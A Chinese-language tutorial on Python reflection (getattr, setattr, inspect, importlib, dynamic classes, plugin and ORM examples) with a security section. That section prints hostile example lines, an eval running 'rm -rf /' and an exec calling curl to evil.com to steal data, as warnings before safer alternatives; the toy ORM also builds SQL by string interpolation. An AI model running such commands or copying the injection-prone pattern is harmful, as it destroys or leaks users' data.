Python反射用法實(shí)戰(zhàn)完整學(xué)習(xí)筆記
1. 什么是反射(Reflection)
1.1 定義與核心概念
反射(Reflection) 是指程序在運(yùn)行時(shí)能夠:
- 檢查(inspect)對(duì)象的類型、屬性、方法
- 訪問(access)對(duì)象的屬性和方法
- 修改(modify)對(duì)象的屬性和方法
- 調(diào)用(invoke)對(duì)象的方法
簡單來說:反射 = 運(yùn)行時(shí)的動(dòng)態(tài)操作能力
1.2 Python 中反射的特點(diǎn)
Python 是一門動(dòng)態(tài)類型語言,天然支持反射:
| 特性 | 說明 |
|---|---|
| 動(dòng)態(tài)類型 | 變量類型在運(yùn)行時(shí)確定 |
| 一切皆對(duì)象 | 類、函數(shù)、模塊都是對(duì)象 |
| 內(nèi)置反射函數(shù) | getattr, setattr, hasattr 等 |
| 豐富的元數(shù)據(jù) | __dict__, __class__, __module__ 等 |
1.3 反射 vs 內(nèi)省
| 概念 | 定義 | 示例 |
|---|---|---|
| 內(nèi)?。↖ntrospection) | 只讀取對(duì)象信息,不修改 | type(), dir(), isinstance() |
| 反射(Reflection) | 讀取 + 修改 + 調(diào)用 | getattr(), setattr(), delattr() |
結(jié)論:內(nèi)省是反射的子集,Python 兩者都支持。
2. 為什么需要反射
2.1 動(dòng)態(tài)性的價(jià)值
反射使代碼更加靈活和可擴(kuò)展:
# 靜態(tài)方式:硬編碼
if action == "create":
obj.create()
elif action == "update":
obj.update()
elif action == "delete":
obj.delete()
# 反射方式:動(dòng)態(tài)調(diào)用
method = getattr(obj, action) # 根據(jù)字符串獲取方法
method() # 調(diào)用方法
優(yōu)勢(shì):
- 減少 if-else 分支
- 易于擴(kuò)展新功能(無需修改代碼)
- 適合插件化架構(gòu)
2.2 典型應(yīng)用場景
| 場景 | 說明 | 示例 |
|---|---|---|
| 框架開發(fā) | 自動(dòng)路由、ORM 映射 | Django, Flask, SQLAlchemy |
| 插件系統(tǒng) | 動(dòng)態(tài)加載第三方模塊 | Pytest 插件機(jī)制 |
| 序列化 | 對(duì)象 ↔ JSON/XML/DB | json.dumps(), Pickle |
| 配置驅(qū)動(dòng) | 根據(jù)配置文件動(dòng)態(tài)創(chuàng)建對(duì)象 | 工廠模式 |
| 測試框架 | 自動(dòng)發(fā)現(xiàn)測試用例 | unittest, pytest |
| 調(diào)試工具 | 運(yùn)行時(shí)查看對(duì)象狀態(tài) | pdb, ipdb |
3. 核心函數(shù)與用法
3.1getattr()- 獲取屬性/方法
語法:
getattr(object, name[, default])
功能:
- 根據(jù)字符串名稱獲取對(duì)象的屬性或方法
- 若屬性不存在,返回
default(若未提供則拋出AttributeError)
示例:
class Person:
def __init__(self, name, age):
self.name = name
self.age = age
def greet(self):
return f"Hello, I'm {self.name}"
p = Person("Alice", 30)
# 獲取屬性
name = getattr(p, "name") # "Alice"
salary = getattr(p, "salary", 0) # 不存在,返回默認(rèn)值 0
# 獲取方法
greet_func = getattr(p, "greet")
print(greet_func()) # "Hello, I'm Alice"
# 動(dòng)態(tài)調(diào)用
attr_name = input("輸入屬性名: ") # 用戶輸入 "age"
value = getattr(p, attr_name, None)
print(value) # 30
等價(jià)寫法:
# getattr(obj, "name") 等價(jià)于 obj.name # 靜態(tài)訪問 obj.__dict__["name"] # 字典訪問
3.2setattr()- 設(shè)置屬性
語法:
setattr(object, name, value)
功能:
- 動(dòng)態(tài)設(shè)置對(duì)象的屬性值
- 若屬性不存在,則創(chuàng)建新屬性
示例:
class Config:
pass
config = Config()
# 動(dòng)態(tài)設(shè)置屬性
setattr(config, "host", "localhost")
setattr(config, "port", 8080)
print(config.host) # "localhost"
print(config.port) # 8080
# 批量設(shè)置
settings = {"debug": True, "timeout": 30}
for key, value in settings.items():
setattr(config, key, value)
print(config.debug) # True
等價(jià)寫法:
# setattr(obj, "name", value) 等價(jià)于 obj.name = value obj.__dict__["name"] = value
3.3hasattr()- 檢查屬性是否存在
語法:
hasattr(object, name)
功能:
- 判斷對(duì)象是否有某個(gè)屬性/方法
- 返回
True或False
示例:
class Dog:
def __init__(self, name):
self.name = name
def bark(self):
return "Woof!"
dog = Dog("Buddy")
print(hasattr(dog, "name")) # True
print(hasattr(dog, "age")) # False
print(hasattr(dog, "bark")) # True
# 安全的屬性訪問
if hasattr(dog, "age"):
print(dog.age)
else:
print("Dog has no age attribute")
內(nèi)部實(shí)現(xiàn):
# hasattr 等價(jià)于
try:
getattr(obj, name)
return True
except AttributeError:
return False
3.4delattr()- 刪除屬性
語法:
delattr(object, name)
功能:
- 刪除對(duì)象的屬性
- 若屬性不存在,拋出
AttributeError
示例:
class User:
def __init__(self, username, password):
self.username = username
self.password = password
user = User("admin", "secret123")
# 刪除敏感屬性
delattr(user, "password")
print(hasattr(user, "password")) # False
# 等價(jià)寫法
del user.username
3.5dir()- 列出所有屬性和方法
語法:
dir([object])
功能:
- 返回對(duì)象的所有屬性和方法的名稱列表
- 包括繼承的屬性和魔法方法
示例:
class MyClass:
class_var = "I'm a class variable"
def __init__(self):
self.instance_var = "I'm an instance variable"
def my_method(self):
pass
obj = MyClass()
# 查看所有屬性和方法
print(dir(obj))
# ['__class__', '__delattr__', '__dict__', ..., 'class_var', 'instance_var', 'my_method']
# 過濾出用戶定義的屬性
user_attrs = [attr for attr in dir(obj) if not attr.startswith("__")]
print(user_attrs) # ['class_var', 'instance_var', 'my_method']
3.6vars()- 返回對(duì)象的__dict__
語法:
vars([object])
功能:
- 返回對(duì)象的
__dict__屬性(屬性字典) - 不包括方法和類屬性(僅實(shí)例屬性)
示例:
class Book:
category = "fiction" # 類屬性
def __init__(self, title, author):
self.title = title
self.author = author
book = Book("1984", "Orwell")
print(vars(book)) # {'title': '1984', 'author': 'Orwell'}
print(book.__dict__) # 等價(jià)
# 修改屬性
vars(book)["price"] = 19.99
print(book.price) # 19.99
注意:
vars()只返回實(shí)例屬性- 類屬性需要通過
vars(MyClass)或MyClass.__dict__獲取
3.7 其他常用函數(shù)
| 函數(shù) | 功能 | 示例 |
|---|---|---|
type(obj) | 獲取對(duì)象的類型 | type(123) → <class 'int'> |
isinstance(obj, class) | 判斷對(duì)象是否是某類的實(shí)例 | isinstance([], list) → True |
callable(obj) | 判斷對(duì)象是否可調(diào)用 | callable(print) → True |
id(obj) | 獲取對(duì)象的內(nèi)存地址 | id("hello") |
綜合示例:
def process_object(obj):
print(f"類型: {type(obj)}")
print(f"ID: {id(obj)}")
print(f"是否可調(diào)用: {callable(obj)}")
print(f"屬性列表: {[a for a in dir(obj) if not a.startswith('_')]}")
process_object(lambda x: x * 2)
# 類型: <class 'function'>
# 是否可調(diào)用: True
# 屬性列表: ['__annotations__', '__call__', ...]
4. 對(duì)象屬性訪問機(jī)制
4.1__dict__屬性字典
核心概念:
- Python 對(duì)象的屬性存儲(chǔ)在
__dict__字典中 - 鍵是屬性名(字符串),值是屬性值
示例:
class Point:
def __init__(self, x, y):
self.x = x
self.y = y
p = Point(10, 20)
print(p.__dict__) # {'x': 10, 'y': 20}
# 直接修改 __dict__
p.__dict__["z"] = 30
print(p.z) # 30
# 動(dòng)態(tài)添加屬性
p.color = "red"
print(p.__dict__) # {'x': 10, 'y': 20, 'z': 30, 'color': 'red'}
類屬性 vs 實(shí)例屬性:
class Counter:
count = 0 # 類屬性
def __init__(self, name):
self.name = name # 實(shí)例屬性
c1 = Counter("A")
c2 = Counter("B")
print(c1.__dict__) # {'name': 'A'}
print(Counter.__dict__["count"]) # 0
# 修改類屬性
Counter.count = 10
print(c1.count) # 10(通過繼承訪問)
print(c2.count) # 10
4.2__slots__限制屬性
問題:__dict__ 占用內(nèi)存,對(duì)于大量實(shí)例不友好
解決方案:使用 __slots__ 預(yù)定義屬性
示例:
class Point2D:
__slots__ = ["x", "y"] # 只允許這兩個(gè)屬性
def __init__(self, x, y):
self.x = x
self.y = y
p = Point2D(5, 10)
# 無法動(dòng)態(tài)添加新屬性
try:
p.z = 15
except AttributeError as e:
print(e) # 'Point2D' object has no attribute 'z'
# 沒有 __dict__
print(hasattr(p, "__dict__")) # False
對(duì)比:
| 特性 | __dict__ | __slots__ |
|---|---|---|
| 內(nèi)存占用 | 較大(每個(gè)實(shí)例一個(gè)字典) | 較小(固定大?。?/td> |
| 動(dòng)態(tài)屬性 | 支持 | 不支持 |
| 訪問速度 | 稍慢 | 稍快 |
| 適用場景 | 靈活的對(duì)象 | 大量相同結(jié)構(gòu)的實(shí)例 |
4.3 屬性查找順序(MRO)
查找流程:
- 實(shí)例的
__dict__ - 類的
__dict__ - 父類的
__dict__(按 MRO 順序) - 拋出
AttributeError
示例:
class Animal:
species = "Unknown"
class Dog(Animal):
species = "Canine"
dog = Dog()
dog.species = "My Dog"
print(dog.species) # "My Dog"(實(shí)例屬性優(yōu)先)
del dog.species
print(dog.species) # "Canine"(類屬性)
Dog.species = "Deleted"
print(dog.species) # "Deleted"
查看 MRO:
print(Dog.__mro__) # (<class '__main__.Dog'>, <class '__main__.Animal'>, <class 'object'>)
5. 高級(jí)反射技術(shù)
5.1inspect模塊深入
inspect 模塊提供了更強(qiáng)大的反射功能:
5.1.1 檢查函數(shù)簽名
import inspect
def greet(name: str, age: int = 18, *, city: str = "Beijing") -> str:
return f"{name}, {age}, from {city}"
# 獲取簽名
sig = inspect.signature(greet)
print(sig) # (name: str, age: int = 18, *, city: str = 'Beijing') -> str
# 獲取參數(shù)信息
for param_name, param in sig.parameters.items():
print(f"{param_name}: {param.annotation}, 默認(rèn)值={param.default}")
# name: <class 'str'>, 默認(rèn)值=<class 'inspect._empty'>
# age: <class 'int'>, 默認(rèn)值=18
# city: <class 'str'>, 默認(rèn)值=Beijing
5.1.2 檢查類和對(duì)象
import inspect
class MyClass:
def method(self):
pass
# 判斷是否是類
print(inspect.isclass(MyClass)) # True
# 判斷是否是函數(shù)
print(inspect.isfunction(MyClass.method)) # True
# 判斷是否是方法
obj = MyClass()
print(inspect.ismethod(obj.method)) # True
# 獲取類的所有成員
members = inspect.getmembers(MyClass)
for name, value in members:
if not name.startswith("_"):
print(f"{name}: {value}")
5.1.3 獲取源代碼
import inspect
def fibonacci(n):
"""計(jì)算斐波那契數(shù)列"""
if n <= 1:
return n
return fibonacci(n-1) + fibonacci(n-2)
# 獲取函數(shù)源代碼
source = inspect.getsource(fibonacci)
print(source)
# 獲取文檔字符串
doc = inspect.getdoc(fibonacci)
print(doc) # "計(jì)算斐波那契數(shù)列"
5.2 動(dòng)態(tài)導(dǎo)入模塊
方式一:使用 __import__()
# 傳統(tǒng)方式 import math # 動(dòng)態(tài)導(dǎo)入 module_name = "math" math_module = __import__(module_name) print(math_module.pi) # 3.141592653589793
方式二:使用 importlib(推薦)
import importlib
# 動(dòng)態(tài)導(dǎo)入模塊
module_name = "json"
json_module = importlib.import_module(module_name)
data = json_module.dumps({"key": "value"})
print(data) # '{"key": "value"}'
# 重新加載模塊(開發(fā)中調(diào)試用)
importlib.reload(json_module)
實(shí)戰(zhàn):插件系統(tǒng)
import importlib
import os
def load_plugins(plugin_dir):
"""動(dòng)態(tài)加載插件目錄下的所有插件"""
plugins = []
for filename in os.listdir(plugin_dir):
if filename.endswith(".py") and not filename.startswith("_"):
module_name = filename[:-3] # 去掉 .py
module = importlib.import_module(f"plugins.{module_name}")
plugins.append(module)
return plugins
# 使用
# plugins = load_plugins("./plugins")
# for plugin in plugins:
# plugin.run()
5.3 動(dòng)態(tài)創(chuàng)建類和函數(shù)
5.3.1 使用type()創(chuàng)建類
基礎(chǔ)語法:
# 正常定義類
class MyClass:
x = 10
# 使用 type() 動(dòng)態(tài)創(chuàng)建
MyClass2 = type("MyClass2", (object,), {"x": 10})
print(MyClass2.x) # 10
完整示例:
# 定義方法
def greet(self):
return f"Hello from {self.name}"
def __init__(self, name):
self.name = name
# 動(dòng)態(tài)創(chuàng)建類
Person = type(
"Person", # 類名
(object,), # 父類元組
{ # 類屬性和方法
"__init__": __init__,
"greet": greet,
"species": "Human"
}
)
# 使用動(dòng)態(tài)創(chuàng)建的類
p = Person("Alice")
print(p.greet()) # "Hello from Alice"
print(p.species) # "Human"
5.3.2 使用types.FunctionType創(chuàng)建函數(shù)
import types
# 創(chuàng)建函數(shù)
code = compile("return x + y", "<string>", "eval")
add_func = types.FunctionType(code, globals(), "add", (0, 0))
print(add_func(5, 3)) # 8
5.3.3 使用exec()動(dòng)態(tài)執(zhí)行代碼
# 動(dòng)態(tài)定義類
class_code = """
class Calculator:
def add(self, a, b):
return a + b
def multiply(self, a, b):
return a * b
"""
namespace = {}
exec(class_code, namespace)
Calculator = namespace["Calculator"]
calc = Calculator()
print(calc.add(10, 5)) # 15
?? 安全警告:
exec()和eval()執(zhí)行任意代碼,存在安全風(fēng)險(xiǎn)- 永遠(yuǎn)不要對(duì)用戶輸入使用
exec()或eval()
6. 實(shí)戰(zhàn)應(yīng)用案例
6.1 插件系統(tǒng)
需求:根據(jù)配置文件動(dòng)態(tài)加載不同的數(shù)據(jù)處理器
# plugins/csv_processor.py
class CsvProcessor:
def process(self, data):
return f"Processing CSV: {data}"
# plugins/json_processor.py
class JsonProcessor:
def process(self, data):
return f"Processing JSON: {data}"
# main.py
import importlib
def load_processor(processor_name):
"""動(dòng)態(tài)加載處理器"""
module = importlib.import_module(f"plugins.{processor_name.lower()}_processor")
class_name = f"{processor_name.capitalize()}Processor"
return getattr(module, class_name)
# 使用
config = {"processor": "json"} # 從配置文件讀取
ProcessorClass = load_processor(config["processor"])
processor = ProcessorClass()
print(processor.process("sample data"))
# "Processing JSON: sample data"
6.2 ORM 框架原理(簡化版)
需求:將對(duì)象屬性映射到數(shù)據(jù)庫字段
class Model:
"""簡易 ORM 基類"""
def save(self):
"""將對(duì)象保存到數(shù)據(jù)庫(偽代碼)"""
table_name = self.__class__.__name__.lower()
fields = []
values = []
# 反射獲取所有屬性
for attr, value in vars(self).items():
if not attr.startswith("_"):
fields.append(attr)
values.append(repr(value))
sql = f"INSERT INTO {table_name} ({', '.join(fields)}) VALUES ({', '.join(values)})"
print(f"執(zhí)行 SQL: {sql}")
return sql
class User(Model):
def __init__(self, username, email):
self.username = username
self.email = email
# 使用
user = User("alice", "alice@example.com")
user.save()
# 執(zhí)行 SQL: INSERT INTO user (username, email) VALUES ('alice', 'alice@example.com')
6.3 序列化/反序列化
需求:將對(duì)象轉(zhuǎn)換為 JSON
import json
class Student:
def __init__(self, name, age, grade):
self.name = name
self.age = age
self.grade = grade
def to_dict(self):
"""使用反射將對(duì)象轉(zhuǎn)為字典"""
return {k: v for k, v in vars(self).items() if not k.startswith("_")}
@classmethod
def from_dict(cls, data):
"""從字典創(chuàng)建對(duì)象"""
return cls(**data)
# 序列化
student = Student("Bob", 15, "A")
json_str = json.dumps(student.to_dict())
print(json_str) # '{"name": "Bob", "age": 15, "grade": "A"}'
# 反序列化
data = json.loads(json_str)
new_student = Student.from_dict(data)
print(new_student.name) # "Bob"
6.4 動(dòng)態(tài)路由(Web 框架)
需求:根據(jù) URL 自動(dòng)調(diào)用對(duì)應(yīng)的處理函數(shù)
class Router:
def __init__(self):
self.routes = {}
def route(self, path):
"""裝飾器:注冊(cè)路由"""
def decorator(func):
self.routes[path] = func
return func
return decorator
def dispatch(self, path, *args, **kwargs):
"""根據(jù)路徑調(diào)用對(duì)應(yīng)函數(shù)"""
if path in self.routes:
handler = self.routes[path]
return handler(*args, **kwargs)
else:
return "404 Not Found"
# 使用
router = Router()
@router.route("/home")
def home():
return "Welcome to Home Page"
@router.route("/about")
def about():
return "About Us"
# 動(dòng)態(tài)調(diào)用
print(router.dispatch("/home")) # "Welcome to Home Page"
print(router.dispatch("/about")) # "About Us"
print(router.dispatch("/404")) # "404 Not Found"
7. 性能與安全
7.1 反射的性能開銷
實(shí)驗(yàn)對(duì)比:
import timeit
class MyClass:
def __init__(self):
self.value = 42
def get_value(self):
return self.value
obj = MyClass()
# 直接訪問
def direct_access():
return obj.value
# 反射訪問
def reflection_access():
return getattr(obj, "value")
# 性能測試
direct_time = timeit.timeit(direct_access, number=1000000)
reflection_time = timeit.timeit(reflection_access, number=1000000)
print(f"直接訪問: {direct_time:.4f}s")
print(f"反射訪問: {reflection_time:.4f}s")
print(f"反射慢了: {reflection_time / direct_time:.2f}x")
# 典型結(jié)果:反射慢 2-3 倍
結(jié)論:
- 反射比直接訪問慢 2-5 倍
- 對(duì)于高頻調(diào)用,考慮緩存或優(yōu)化
- 對(duì)于配置加載、插件系統(tǒng)等低頻場景,性能影響可忽略
7.2 安全隱患
危險(xiǎn)函數(shù):eval()和exec()
問題:可執(zhí)行任意 Python 代碼
# 危險(xiǎn)示例(永遠(yuǎn)不要這樣做)
user_input = "__import__('os').system('rm -rf /')" # 惡意代碼
eval(user_input) # ?? 系統(tǒng)被刪除
# 攻擊示例
user_input = "__import__('subprocess').call(['curl', 'evil.com/steal_data'])"
exec(user_input) # ?? 數(shù)據(jù)泄露
安全替代方案:
import ast
# 方案 1: 使用 ast.literal_eval(僅支持字面量)
safe_data = ast.literal_eval("{'key': 'value', 'number': 123}")
print(safe_data) # {'key': 'value', 'number': 123}
# 方案 2: 限制命名空間
safe_namespace = {"__builtins__": {}}
eval("1 + 1", safe_namespace) # 安全
# eval("open('/etc/passwd')", safe_namespace) # 報(bào)錯(cuò)
# 方案 3: 使用白名單
allowed_attrs = {"add", "subtract", "multiply"}
attr = "add"
if attr in allowed_attrs:
method = getattr(calculator, attr)
7.3 最佳實(shí)踐
| 原則 | 說明 | 示例 |
|---|---|---|
| 最小權(quán)限 | 只暴露必要的屬性和方法 | 使用 __slots__ 或?qū)傩则?yàn)證 |
| 白名單 | 明確允許的操作,而非黑名單 | if attr in ALLOWED: ... |
| 輸入驗(yàn)證 | 永遠(yuǎn)不要信任用戶輸入 | 檢查類型、長度、格式 |
| 避免 eval/exec | 使用 ast.literal_eval 或解析庫 | JSON: json.loads() |
| 日志審計(jì) | 記錄反射操作 | logging.info(f"Accessed {attr}") |
安全的動(dòng)態(tài)調(diào)用模式:
class SafeAPI:
ALLOWED_METHODS = {"get_data", "save_data"}
def get_data(self):
return "data"
def save_data(self, data):
print(f"Saving: {data}")
def _internal_method(self):
"""內(nèi)部方法,不應(yīng)被外部調(diào)用"""
pass
def execute(self, method_name, *args, **kwargs):
"""安全的動(dòng)態(tài)調(diào)用"""
# 1. 檢查白名單
if method_name not in self.ALLOWED_METHODS:
raise ValueError(f"Method {method_name} not allowed")
# 2. 檢查方法是否存在
if not hasattr(self, method_name):
raise AttributeError(f"Method {method_name} not found")
# 3. 獲取并調(diào)用
method = getattr(self, method_name)
return method(*args, **kwargs)
# 使用
api = SafeAPI()
api.execute("get_data") # ? 安全
# api.execute("_internal_method") # ? 拋出異常
8. 常見誤區(qū)與對(duì)比
8.1 反射 vs 硬編碼
| 場景 | 推薦方式 | 原因 |
|---|---|---|
| 固定的少量選項(xiàng) | 硬編碼(if-else) | 性能更好,代碼更清晰 |
| 大量可擴(kuò)展的選項(xiàng) | 反射 | 易于維護(hù),可擴(kuò)展 |
| 用戶輸入驅(qū)動(dòng) | 反射(帶驗(yàn)證) | 靈活,但需安全措施 |
| 性能關(guān)鍵路徑 | 硬編碼 | 避免反射開銷 |
錯(cuò)誤示例:
# ? 過度使用反射
def process(action):
return getattr(self, action)() # 危險(xiǎn)!
# ? 合理的反射
ACTIONS = {"create", "update", "delete"}
def process(action):
if action not in ACTIONS:
raise ValueError("Invalid action")
return getattr(self, action)()
8.2 何時(shí)不應(yīng)使用反射
| 情況 | 原因 | 替代方案 |
|---|---|---|
| 性能敏感 | 反射慢 2-5 倍 | 直接訪問或緩存 |
| 固定邏輯 | 增加復(fù)雜度 | 硬編碼 |
| 類型安全 | 運(yùn)行時(shí)錯(cuò)誤 | 靜態(tài)類型檢查(Type Hints) |
| 安全關(guān)鍵 | 易被攻擊 | 白名單 + 驗(yàn)證 |
8.3 反射與其他語言對(duì)比
| 語言 | 反射支持 | 特點(diǎn) |
|---|---|---|
| Python | ? 原生支持 | 動(dòng)態(tài)類型,簡單易用 |
| Java | ? java.lang.reflect | 強(qiáng)類型,API 復(fù)雜 |
| C++ | ? 無原生支持 | 可通過 RTTI 部分實(shí)現(xiàn) |
| Go | ? reflect 包 | 性能較好,語法復(fù)雜 |
| JavaScript | ? 原生支持 | 動(dòng)態(tài)類型,與 Python 類似 |
9. 擴(kuò)展閱讀
9.1 相關(guān)主題
- 裝飾器(Decorator):使用反射實(shí)現(xiàn)的語法糖
- 元類(Metaclass):類的類,更深層的反射
- 描述符(Descriptor):
@property的底層機(jī)制 - 上下文管理器(Context Manager):
with語句的反射應(yīng)用
9.2 進(jìn)階學(xué)習(xí)資源
- 官方文檔:Python Data Model
- 書籍:《Fluent Python》第五章 - 數(shù)據(jù)模型
- PEP:
- PEP 252: Making Types Look More Like Classes
- PEP 3115: Metaclasses in Python 3
9.3 實(shí)戰(zhàn)項(xiàng)目
- Django ORM:研究其反射機(jī)制
- Flask 路由:分析裝飾器和反射的結(jié)合
- Pytest:學(xué)習(xí)其插件發(fā)現(xiàn)機(jī)制
總結(jié)
核心要點(diǎn)
- 反射是什么:運(yùn)行時(shí)檢查、訪問、修改對(duì)象的能力
- 核心函數(shù):
getattr,setattr,hasattr,delattr,dir,vars - 高級(jí)工具:
inspect模塊、動(dòng)態(tài)導(dǎo)入、type()創(chuàng)建類 - 應(yīng)用場景:插件系統(tǒng)、ORM、序列化、動(dòng)態(tài)路由
- 注意事項(xiàng):性能開銷、安全風(fēng)險(xiǎn)、避免濫用
學(xué)習(xí)檢查清單
- 理解反射與內(nèi)省的區(qū)別
- 熟練使用
getattr/setattr/hasattr/delattr - 了解
__dict__和__slots__的差異 - 掌握
inspect模塊的常用功能 - 能夠?qū)崿F(xiàn)簡單的插件系統(tǒng)
- 理解反射的性能和安全問題
- 知道何時(shí)使用/不使用反射
實(shí)踐建議
- 小項(xiàng)目練習(xí):實(shí)現(xiàn)一個(gè)配置驅(qū)動(dòng)的任務(wù)調(diào)度器
- 閱讀源碼:研究 Django、Flask 的反射使用
- 性能測試:對(duì)比反射與直接訪問的性能差異
- 安全審計(jì):檢查項(xiàng)目中是否存在
eval/exec的濫用
附錄:快速參考表
常用反射函數(shù)速查
# 獲取屬性
getattr(obj, "attr", default)
# 設(shè)置屬性
setattr(obj, "attr", value)
# 檢查屬性
hasattr(obj, "attr")
# 刪除屬性
delattr(obj, "attr")
# 列出所有屬性
dir(obj)
# 獲取屬性字典
vars(obj) # 等價(jià)于 obj.__dict__
# 動(dòng)態(tài)導(dǎo)入
import importlib
module = importlib.import_module("module_name")
# 動(dòng)態(tài)創(chuàng)建類
MyClass = type("MyClass", (BaseClass,), {"attr": value})
# 獲取函數(shù)簽名
import inspect
inspect.signature(func)
安全檢查模板
def safe_call(obj, method_name, *args, **kwargs):
"""安全的動(dòng)態(tài)方法調(diào)用"""
# 1. 白名單檢查
if method_name not in ALLOWED_METHODS:
raise ValueError(f"Method {method_name} not allowed")
# 2. 存在性檢查
if not hasattr(obj, method_name):
raise AttributeError(f"Method {method_name} not found")
# 3. 可調(diào)用性檢查
method = getattr(obj, method_name)
if not callable(method):
raise TypeError(f"{method_name} is not callable")
# 4. 執(zhí)行
return method(*args, **kwargs)
總結(jié)
到此這篇關(guān)于Python反射用法實(shí)戰(zhàn)的文章就介紹到這了,更多相關(guān)Python反射用法內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
在Python中操作列表之list.extend()方法的使用
這篇文章主要介紹了在Python中操作列表之list.extend()方法的使用,是Python入門學(xué)習(xí)中的基礎(chǔ)知識(shí),需要的朋友可以參考下2015-05-05
利用Python自動(dòng)監(jiān)控網(wǎng)站并發(fā)送郵件告警的方法
這篇文章介紹的是通過定時(shí)執(zhí)行python腳本,可以實(shí)現(xiàn)定期批量訪問網(wǎng)站,如果發(fā)現(xiàn)網(wǎng)站打不開,第一時(shí)間發(fā)郵件到管理員郵箱進(jìn)行預(yù)警。有需要的可以參考借鑒。2016-08-08
python多進(jìn)程并發(fā)的實(shí)現(xiàn)示例
python中的多線程無法利用多核優(yōu)勢(shì),如果想要充分地使用多核CPU的資源,在python中大部分情況需要使用多進(jìn)程,本文主要介紹了python多進(jìn)程并發(fā)的實(shí)現(xiàn)示例,感興趣的可以了解一下2024-02-02
Python光學(xué)仿真學(xué)習(xí)Gauss高斯光束在空間中的分布
這篇文章主要介紹了Python光學(xué)仿真學(xué)習(xí)中Gauss高斯光束在空間中的分布理解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2021-10-10
python使用watchdog實(shí)現(xiàn)文件資源監(jiān)控
watchdog 支持跨平臺(tái)文件資源監(jiān)控,可以檢測指定文件夾下文件及文件夾變動(dòng),下面我們來看看Python如何使用watchdog實(shí)現(xiàn)文件資源監(jiān)控吧2025-01-01

